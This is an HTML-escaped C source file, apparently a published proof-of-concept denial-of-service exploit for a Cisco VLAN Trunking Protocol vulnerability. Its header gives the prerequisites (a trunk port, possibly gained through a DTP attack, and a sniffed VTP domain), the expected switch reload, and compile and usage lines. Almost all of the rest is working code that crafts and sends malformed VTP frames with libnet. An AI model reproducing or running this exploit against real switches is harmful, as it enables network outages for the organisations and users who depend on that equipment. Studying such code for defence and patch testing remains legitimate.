/*DoS code for Cisco VLAN Trunking Protocol Vulnerability<br>&nbsp;*<br>&nbsp;*vulerability discription:<br>&nbsp;*<a href="http://www.cisco.com/warp/public/707/cisco-sr-20081105-vtp.shtml">http://www.cisco.com/warp/public/707/cisco-sr-20081105-vtp.shtml</a><br>
&nbsp;*<br>&nbsp;*To Known:<br>&nbsp;* 1.the switch must in Server/Client Mode.<br>&nbsp;* 2.the port ,attacker connected,must be in trunk Mode.<br>&nbsp;*&nbsp;&nbsp; Cisco Ethernet ports with no configuration are not <br>&nbsp;*&nbsp;&nbsp; in trunk.but trunk mode can be obtained through DTP<br>
&nbsp;*&nbsp;&nbsp; attack by Yersinia.<br>&nbsp;* 3.you must known the vtp domain,this can be sniffed<br>&nbsp;* 4.some codes are from Yersinia.<br>&nbsp;*<br>&nbsp;*Result:<br>&nbsp;* switch reload.<br>&nbsp;*<br>&nbsp;*<br>&nbsp;*Compile:<br>&nbsp;* gcc -o vtp `libnet-config --libs` vtp.c<br>
&nbsp;* <br>&nbsp;*Usage:vtp -i &lt;interface&gt; -d &lt;vtp_domain&gt;<br>&nbsp;*<br>&nbsp;*Contact: showrun.lee[AT]<a href="http://gmail.com">gmail.com</a><br>&nbsp;*<a href="http://sh0wrun.blogspot.com/">http://sh0wrun.blogspot.com/</a><br>&nbsp;*/<br>
#include &lt;libnet.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br><br>#define VTP_DOMAIN_SIZE&nbsp;&nbsp;&nbsp; 32<br>#define VTP_TIMESTAMP_SIZE 12<br><br>struct vtp_summary {<br>&nbsp;&nbsp;&nbsp;&nbsp; u_int8_t&nbsp; version;<br>&nbsp;&nbsp;&nbsp;&nbsp; u_int8_t&nbsp; code;<br>
&nbsp;&nbsp;&nbsp;&nbsp; u_int8_t&nbsp; followers;<br>&nbsp;&nbsp;&nbsp;&nbsp; u_int8_t&nbsp; dom_len;<br>&nbsp;&nbsp;&nbsp;&nbsp; u_int8_t&nbsp; domain[VTP_DOMAIN_SIZE];<br>&nbsp;&nbsp;&nbsp;&nbsp; u_int32_t revision;<br>&nbsp;&nbsp;&nbsp;&nbsp; u_int32_t updater;<br>&nbsp;&nbsp;&nbsp;&nbsp; u_int8_t&nbsp; timestamp[VTP_TIMESTAMP_SIZE];<br>&nbsp;&nbsp;&nbsp;&nbsp; u_int8_t&nbsp; md5[16];<br>
};<br><br>struct vtp_subset {<br>&nbsp;&nbsp;&nbsp;&nbsp; u_int8_t&nbsp; version;<br>&nbsp;&nbsp;&nbsp;&nbsp; u_int8_t&nbsp; code;<br>&nbsp;&nbsp;&nbsp;&nbsp; u_int8_t&nbsp; seq;<br>&nbsp;&nbsp;&nbsp;&nbsp; u_int8_t&nbsp; dom_len;<br>&nbsp;&nbsp;&nbsp;&nbsp; u_int8_t&nbsp; domain[VTP_DOMAIN_SIZE];<br>&nbsp;&nbsp;&nbsp;&nbsp; u_int32_t revision;<br>};<br><br>void usage( char *s) {<br>
&nbsp;&nbsp;&nbsp; printf(&quot;%s -i &lt;interface&gt; -d &lt;vtp domain&gt;\n&quot;,s);<br>&nbsp;&nbsp;&nbsp; exit (1);<br>}<br><br>int main( int argc, char *argv[] )<br>{<br>&nbsp;&nbsp;&nbsp; int opt,k=0;<br>&nbsp;&nbsp;&nbsp; extern char *optarg;<br>&nbsp;&nbsp;&nbsp; libnet_ptag_t t;<br>&nbsp;&nbsp;&nbsp; libnet_t *lhandler;<br>
&nbsp;&nbsp;&nbsp; u_int32_t vtp_len=0, sent;<br>&nbsp;&nbsp;&nbsp; struct vtp_summary *vtp_summ;<br>&nbsp;&nbsp;&nbsp; struct vtp_subset *vtp_sub;<br>&nbsp;&nbsp;&nbsp; u_int8_t *vtp_packet,*vtp_packet2, *aux;<br>&nbsp;&nbsp;&nbsp; u_int8_t cisco_data[]={ 0x00, 0x00, 0x0c, 0x20, 0x03 };<br>&nbsp;&nbsp;&nbsp; u_int8_t dst_mac[6]={ 0x01,0x00,0x0c,0xcc,0xcc,0xcc };<br>
&nbsp;&nbsp;&nbsp; u_int8_t aaa[8]={ 0x22,0x00,0x11,0x22,0x11,0x00,0x00,0x00 };<br>&nbsp;&nbsp;&nbsp; struct libnet_ether_addr *mymac;<br>&nbsp;&nbsp;&nbsp; char *device;<br>&nbsp;&nbsp;&nbsp; char error_information[LIBNET_ERRBUF_SIZE];<br>&nbsp;&nbsp;&nbsp; char *domain;<br><br>// get options<br>
&nbsp;&nbsp;&nbsp;&nbsp; while ((opt = getopt(argc, argv, &quot;i:d:&quot;)) != -1)<br>&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; switch (opt) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case &#39;i&#39;:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; device=malloc(strlen(optarg));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(device,optarg);<br>&nbsp;&nbsp;&nbsp; &nbsp; k=1;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case &#39;d&#39;:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; domain=malloc(strlen(optarg));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(domain,optarg);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; default: usage(argv[0]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp; if(!k) { printf(&quot;&nbsp; %s -i &lt;interface&gt; -d &lt;vtp domain&gt;\n&nbsp;&nbsp;&nbsp;&nbsp; must assign the interface\n&quot;,argv[0]);exit(1);}<br><br>//init libnet<br><br>&nbsp;&nbsp;&nbsp; lhandler=libnet_init(LIBNET_LINK,device,error_information);<br>
&nbsp;&nbsp;&nbsp; if (!lhandler) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, &quot;libnet_init: %s\n&quot;, error_information);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp; }<br><br>&nbsp;&nbsp;&nbsp; mymac=libnet_get_hwaddr(lhandler);<br>//build the first packet for vtp_summary<br>
&nbsp;&nbsp;&nbsp; vtp_len = sizeof(cisco_data)+sizeof(struct vtp_summary);<br>&nbsp;&nbsp;&nbsp; vtp_packet = calloc(1,vtp_len);<br>&nbsp;&nbsp;&nbsp; aux = vtp_packet;<br>&nbsp;&nbsp;&nbsp; memcpy(vtp_packet,cisco_data,sizeof(cisco_data));<br>&nbsp;&nbsp;&nbsp; aux+=sizeof(cisco_data);<br>&nbsp;&nbsp;&nbsp; vtp_summ = (struct vtp_summary *)aux;<br>
&nbsp;&nbsp;&nbsp; vtp_summ-&gt;version = 0x01;<br>&nbsp;&nbsp;&nbsp; vtp_summ-&gt;code = 0x01;//vtp_summary<br>&nbsp;&nbsp;&nbsp; vtp_summ-&gt;followers = 0x01;<br>&nbsp;&nbsp;&nbsp; vtp_summ-&gt;dom_len = strlen(domain);<br>&nbsp;&nbsp;&nbsp; memcpy(vtp_summ-&gt;domain,domain,strlen(domain));<br>
&nbsp;&nbsp;&nbsp; vtp_summ-&gt;revision = htonl(2000);//bigger than the current revision number will ok <br>&nbsp;&nbsp;&nbsp; t = libnet_build_802_2(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xaa,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* DSAP */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xaa,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* SSAP */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x03,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* control */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vtp_packet,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* payload */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vtp_len,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* payload size */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lhandler,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* libnet handle */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* libnet id */<br>&nbsp;&nbsp;&nbsp; t = libnet_build_802_3(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dst_mac,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* ethernet destination */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mymac-&gt;ether_addr_octet,&nbsp;&nbsp;&nbsp;&nbsp; /* ethernet source */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LIBNET_802_2_H + vtp_len, /* frame size */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* payload */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* payload size */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lhandler,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* libnet handle */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* libnet id */<br><br>&nbsp;&nbsp;&nbsp;&nbsp; sent = libnet_write(lhandler);<br><br>&nbsp;&nbsp;&nbsp;&nbsp; if (sent == -1) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; libnet_clear_packet(lhandler);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; free(vtp_packet);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp; libnet_clear_packet(lhandler);<br>&nbsp;&nbsp;&nbsp;&nbsp; <br>//build the second vtp packet for vtp_subset <br>&nbsp;&nbsp;&nbsp;&nbsp; vtp_len = sizeof(cisco_data)+sizeof(struct vtp_subset);<br>
&nbsp;&nbsp;&nbsp;&nbsp; vtp_packet2 = calloc(1,vtp_len);<br>&nbsp;&nbsp;&nbsp;&nbsp; aux = vtp_packet2;<br>&nbsp;&nbsp;&nbsp;&nbsp; memcpy(vtp_packet2,cisco_data,sizeof(cisco_data));<br>&nbsp;&nbsp;&nbsp;&nbsp; aux+=sizeof(cisco_data);<br>&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp; vtp_sub = (struct vtp_subset *)aux;<br>&nbsp;&nbsp;&nbsp;&nbsp; vtp_sub-&gt;version = 0x01;<br>
&nbsp;&nbsp;&nbsp;&nbsp; vtp_sub-&gt;code = 0x02; //vtp_subset<br>&nbsp;&nbsp;&nbsp;&nbsp; vtp_sub-&gt;seq = 0x01;<br>&nbsp;&nbsp;&nbsp;&nbsp; vtp_sub-&gt;dom_len = strlen(domain);<br>&nbsp;&nbsp;&nbsp;&nbsp; memcpy(vtp_sub-&gt;domain,domain,strlen(domain)); <br>&nbsp;&nbsp;&nbsp;&nbsp; vtp_sub-&gt;revision = htonl(2000);//bigger than the current revision number will ok<br>
//&nbsp;&nbsp;&nbsp;&nbsp; memcpy(vtp_sub-&gt;aaa,aaa,strlen(aaa)); <br>&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; t = libnet_build_802_2(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xaa,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* DSAP */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xaa,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* SSAP */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x03,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* control */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vtp_packet2,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* payload */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vtp_len,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* payload size */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lhandler,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* libnet handle */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* libnet id */<br>&nbsp;&nbsp;&nbsp; t = libnet_build_802_3(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dst_mac,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* ethernet destination */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mymac-&gt;ether_addr_octet,&nbsp;&nbsp;&nbsp;&nbsp; /* ethernet source */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LIBNET_802_2_H + vtp_len, /* frame size */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* payload */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* payload size */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lhandler,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* libnet handle */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* libnet id */<br><br>&nbsp;&nbsp;&nbsp;&nbsp; sent = libnet_write(lhandler);<br>&nbsp;&nbsp;&nbsp;&nbsp; if (sent == -1) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; libnet_clear_packet(lhandler);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; free(vtp_packet);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp; libnet_clear_packet(lhandler);<br>}<br>